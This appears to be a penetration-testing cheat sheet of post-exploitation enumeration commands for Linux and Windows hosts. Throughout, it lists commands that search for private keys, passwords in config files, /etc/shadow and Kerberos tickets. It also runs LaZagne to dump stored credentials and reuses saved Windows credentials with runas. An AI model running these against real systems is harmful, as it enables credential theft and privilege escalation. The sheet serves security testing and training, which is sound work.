Overview

These commands are typically used during the post-exploitation phase of information gathering. Once access to a host is obtained, further information about the target itself is required for persistence and privilege escalation

Linux Host Enumeration

LinPEAS is a great script that can automate reconnaisance to enumerate and find a path for priv esc easier. It can be overwhelming with the amount of information that it provides, and can easily trigger EDRs.

Redirecting any of these commands to 2>/dev/null will suppress error output, making findings easier to spot. For example lsb_release -a 2>/dev/null.

# environment variables
env

# list installed packages (search for any vulnerable ones)
dpkg -l # debian
rpm -qa # centos / rhel

# listening ports
ss -tulnp

# processes
ps aux

# view commands that this account has access to
# anything with NOPASSWD could be an avenue for privilege escalation
sudo -l

# see sudo version to see if any vulns exist
sudo -V

# if user has write perms to any folder in path, a binary can be substituted to potentially privesc
echo $PATH

# scheduled tasks
crontab -l

# event triggered tasks
incrontab -l

# system-owned event triggered tasks
ls -la /etc/incron.d
cat /etc/incron.d/*

# search for sql files ( redirection to /dev/null HIGHLY recommended)
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
# search for files writable by current user
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
# search for private keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null

# find user/pwd in cnf files
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

# verify shell
# common to see /bin/bash, /bin/zsh, /bin/sh/ or /bin/rbash
# for rbash, see Post Exploitation > Escaping Restricted Shell
echo $SHELL

# interesting locations and files
/opt
/.ssh
/etc/profile
/etc/passwd
/etc/shadow
~/.bash_profile
~/.bash_login
~/.login
~/.bashrc

# operating system info
cat /etc/os-release
cat /proc/version # searchsploit for version to find kernel exploits
uname -a

It's possible for a linux machine to be domain-joined to a windows Active Directory. If so, these extra commands can come in hadny.

# determine if linux machine is domain-joined
$ realm list
$ ps -ef | grep -i "winbind\|sssd"

# find keytab (kerberos ticket)
$ find / -name *keytab* -ls 2>/dev/null

# find kerberos ccache env variable
$ env | grep -i krb5
# alternatively, search for them in /tmp
$ ls -la /tmp

# check if app armor exists
which aa-status
which apparmor_status
ls -d /etc/apparmor*

# check if ASLR on
cat /proc/sys/kernel/randomize_va_space

# check if execshield exists
cat /etc/sysctl.conf | grep "exec-shield"

# check if grsecurity exists
uname -r | grep "\-grsec"
cat /etc/sysctl.conf | grep "grsecurity"

# check if PaX exists
which paxctl-ng paxctl

# check if SELinux active
sestatus

Windows Host Enumeration

# view listening ports with service PID
netstat -ano

# search running tasks for specific PID
tasklist | findstr <pid>

# find password in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

# use LaZagne to find passwords from the most commonly stored locations
# https://github.com/AlessandroZ/LaZagne
start LaZagne.exe all

# view netwrok configuration
ipconfig /all

# scheduled tasks
schtasks

# stored passwords
cmdkey /list
# use any found stored passwords that are interactive
runas /savecred /user:victim\username cmd